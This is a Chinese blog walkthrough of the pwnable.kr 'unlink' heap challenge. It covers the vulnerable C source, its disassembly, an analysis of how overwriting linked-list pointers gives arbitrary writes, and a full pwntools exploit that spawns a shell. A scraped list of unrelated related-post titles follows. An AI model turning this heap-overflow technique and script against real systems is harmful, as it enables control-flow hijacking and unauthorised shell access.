pwnable.kr之unlink
pwnable.kr之unlink
之前在看别的东西,学习的随笔也没有写完......颓了几天。
由于最近在看堆,就把pwnable.kr上unlink这道题做一下,学习一下。
1.程序分析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ; void shell(){
system("/bin/sh");
} void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B; printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf); // exploit this unlink!
unlink(B);
return 0;
}
给出的源码如下。程序实现了一个结构体,指针域是两个指针,数据域是一个8字节大小的字符数组,其实就是模拟了一个chunk块,后面的unlink函数模拟了早期glibc中unlink函数解链表的形式。
程序的结尾有一个gets函数,向结构体A的buf中填充数据,可以看到这里对输入数据的大小没有做检查,所以存在堆溢出,我们应该可以覆盖B结构体的fd指针和bk指针。
这里泄露出了A在栈中的地址,以及A的堆地址。
gdb中调试一下,在输入‘abcd’之后,断点设在unlink函数中,A->buf地址保留在eax寄存器中,查看堆布局如下:

0x804b5b0是结构体A的首地址,可以看到,A的bk指针指向B,C的fd指针指向B。
unlink实现的功能其实入下:
P->fd->bk=P->bk
P->bk->fd=P->fd
覆盖B的bk和fd指针,可以进行两次任意写。IDA中伪代码如下:

0x8048539 <main+10>: push ebp
0x804853a <main+11>: mov ebp,esp
0x804853c <main+13>: push ecx
=> 0x804853d <main+14>: sub esp,0x14
0x8048540 <main+17>: sub esp,0xc
0x8048543 <main+20>: push 0x400
0x8048548 <main+25>: call 0x80483a0 <malloc@plt>
0x804854d <main+30>: add esp,0x10
0x8048550 <main+33>: sub esp,0xc
0x8048553 <main+36>: push 0x10
0x8048555 <main+38>: call 0x80483a0 <malloc@plt>
0x804855a <main+43>: add esp,0x10
0x804855d <main+46>: mov DWORD PTR [ebp-0x14],eax
0x8048560 <main+49>: sub esp,0xc
0x8048563 <main+52>: push 0x10
0x8048565 <main+54>: call 0x80483a0 <malloc@plt>
0x804856a <main+59>: add esp,0x10
0x804856d <main+62>: mov DWORD PTR [ebp-0xc],eax
0x8048570 <main+65>: sub esp,0xc
0x8048573 <main+68>: push 0x10
0x8048575 <main+70>: call 0x80483a0 <malloc@plt>
0x804857a <main+75>: add esp,0x10
0x804857d <main+78>: mov DWORD PTR [ebp-0x10],eax
0x8048580 <main+81>: mov eax,DWORD PTR [ebp-0x14]
0x8048583 <main+84>: mov edx,DWORD PTR [ebp-0xc]
0x8048586 <main+87>: mov DWORD PTR [eax],edx
0x8048588 <main+89>: mov edx,DWORD PTR [ebp-0x14]
0x804858b <main+92>: mov eax,DWORD PTR [ebp-0xc]
0x804858e <main+95>: mov DWORD PTR [eax+0x4],edx
0x8048591 <main+98>: mov eax,DWORD PTR [ebp-0xc]
0x8048594 <main+101>: mov edx,DWORD PTR [ebp-0x10]
0x8048597 <main+104>: mov DWORD PTR [eax],edx
0x8048599 <main+106>: mov eax,DWORD PTR [ebp-0x10]
0x804859c <main+109>: mov edx,DWORD PTR [ebp-0xc]
0x804859f <main+112>: mov DWORD PTR [eax+0x4],edx
0x80485a2 <main+115>: sub esp,0x8
0x80485a5 <main+118>: lea eax,[ebp-0x14]
0x80485a8 <main+121>: push eax
0x80485a9 <main+122>: push 0x8048698
0x80485ae <main+127>: call 0x8048380 <printf@plt>
0x80485b3 <main+132>: add esp,0x10
0x80485b6 <main+135>: mov eax,DWORD PTR [ebp-0x14]
0x80485b9 <main+138>: sub esp,0x8
0x80485bc <main+141>: push eax
0x80485bd <main+142>: push 0x80486b8
0x80485c2 <main+147>: call 0x8048380 <printf@plt>
0x80485c7 <main+152>: add esp,0x10
0x80485ca <main+155>: sub esp,0xc
0x80485cd <main+158>: push 0x80486d8
0x80485d2 <main+163>: call 0x80483b0 <puts@plt>
0x80485d7 <main+168>: add esp,0x10
0x80485da <main+171>: mov eax,DWORD PTR [ebp-0x14]
0x80485dd <main+174>: add eax,0x8
0x80485e0 <main+177>: sub esp,0xc
0x80485e3 <main+180>: push eax
0x80485e4 <main+181>: call 0x8048390 <gets@plt>
0x80485e9 <main+186>: add esp,0x10
0x80485ec <main+189>: sub esp,0xc
0x80485ef <main+192>: push DWORD PTR [ebp-0xc]
0x80485f2 <main+195>: call 0x8048504 <unlink>
0x80485f7 <main+200>: add esp,0x10
0x80485fa <main+203>: mov eax,0x0
0x80485ff <main+208>: mov ecx,DWORD PTR [ebp-0x4]
0x8048602 <main+211>: leave
0x8048603 <main+212>: lea esp,[ecx-0x4]
0x8048606 <main+215>: ret
主函数汇编代码如下。最后是把ecx-0x4=ebp-0x8地址处的值赋给了esp寄存器,ret把esp的值pop给eip寄存器。我们想要get shell,就要跳转到shell函数中,所以这里就要通过控制栈里的值来控制eip寄存器的值。
A,B,C结构体地址在栈中的布局如下所示:

我们要把shell函数的地址填充到ebp_0x8函数的地址处,也就是&A+0x12处。&A的地址,题目已经给我们了。
所以这里主要的问题就是如何填充堆空间了,再来理解一下unlink函数实现的功能:
假设我们把B的bk指针覆盖为“####”,fd指针覆盖为"$$$$",unlink函数就实现了一下功能:
BK=*(B+4)=####,把“####”赋给BK
FD=*(B)=$$$$,把“$$$$”赋给FD
FD->bk=BK=*($$$$+4)="####",就是把“####”写入地址“$$$$+4”处
BK->fd=*(####)="$$$$",就是把“$$$$”写入地址“####”处
0x80485ff <main+208>: mov ecx,DWORD PTR [ebp-0x4]
0x8048602 <main+211>: leave
0x8048603 <main+212>: lea esp,[ecx-0x4]
0x8048606 <main+215>: ret
我们把ecx-4指向的地址处的值,要覆盖为&shell_addr+4。
exp如下:
from pwn import * context.log_level="debug"
DEBUG=0
if DEBUG:
io=process('./unlink')
else:
sh=ssh(host='pwnable.kr',port=2222,user='unlink',password='guest')
io=sh.run("./unlink") elf=ELF('./unlink')
shell_addr=0x080484EC io.recvuntil("here is stack address leak: ")
leak_stack=int(io.recv(10),16)
print("stack_addr:{}".format(hex(leak_stack)))
io.recvuntil("here is heap address leak: ")
leak_heap=int(io.recv(10),16)
print("heap_addr:{}".format(hex(leak_heap)))
io.recvline() ebp_addr=leak_stack+0x14
ecx_addr=ebp_addr-0x4
padding='a'*8 payload=p32(shell_addr)+'a'*4+padding+p32(leak_heap+12)+p32(ebp_addr-4)
io.send(payload)
io.interactive()
pwnable.kr之unlink的更多相关文章
- 【pwnable.kr】 unlink
pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr col之write up
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...
- pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...
- pwnable.kr login之write up
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...
- pwnable.kr详细通关秘籍(二)
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...
- pwnable.kr simple login writeup
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目 ...
- pwnable.kr第二天
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...
随机推荐
- Redis热点key优化
热门新闻事件或商品通常会给系统带来巨大的流量,对存储这类信息的Redis来说却是一个巨大的挑战.以Redis Cluster为例,它会造成整体流量的不均知,个别节点出现OPS过大的情况,极端情况下热点 ...
- C++ 11 关键字
1.auto 我现在用auto,基本是在变量定义时根据初始化表达式自动推断该变量的类型. 另外与关键字 decltype 连用,在声明或定义函数时作为函数返回值的占位符. auto不能用来声明函数的返 ...
- 使用 .net WEBAPI 返回 application/json类型导致 IE8 提示下载
1, 场景介绍 项目使用了 jquery.form.js这个插件,用 ajax的方式提交 form 表单里面的信息.因为需要使用 ajax获取到返回信息.数据录入使用的是 .net mvc方式的 we ...
- POJ 2236 Wireless Network 第一次做并查集,第一次写博客
题意是判断两台电脑是否能通讯,两台修好的电脑距离在指定距离内可直接通讯,且两台修好的电脑能通过一台修好的电脑间接通讯.代码如下: #include <iostream> #include ...
- 其他:什么是元数据?(Metadata)?
元数据 任何文件系统中的数据分为数据和元数据.数据是指普通文件中的实际数据,而元数据指用来描述一个文件的特征的系统数据,诸如访问权限.文件拥有者以及文件数据块的分布信息(inode...)等等 ...
- PHP设计模式之策略模式(转)
介绍 策略模式:定义了算法族,分别封装起来,让它们之间可以互相替换,此模式让算法的变化独立于使用算法的客户. 封装:把行为用接口封装起来,我们可以把那些经常变化的部分,从当前的类中单独取出来,用接 ...
- WPF教程九:理解WPF中的对象资源
在WPF中,所有继承自FrameworkElement的元素都包含一个Resources属性,这个属性就是我们这篇要讲的资源. 这一篇讲解的资源是不是上一篇的程序集资源(那个是在编译过程中打包到程序集 ...
- 深入浅出 Jest 框架的实现原理
English Version | 中文版 深入浅出 Jest 框架的实现原理 https://github.com/Wscats/jest-tutorial 什么是 Jest Jest 是 Face ...
- 前端-Vue基础2
1.过滤器 前台通过后台传值,要对后台传过来的变量进行特殊处理,比如根据id转成中文等: 1.1 局部过滤器 局部过滤器只针对一个Vue实例 默认将|左侧count传递给右侧方法 {{count|fi ...
- Linux常用命令 day day up
一.Shell二.Linux命令的分类1.查看内部命令2.禁用内部命令三.Linux命令行格式四.编辑Linux命令行的辅助操作五.获得命令帮助的方法1.pwd--查看当前的工作目录2.cd--切换工 ...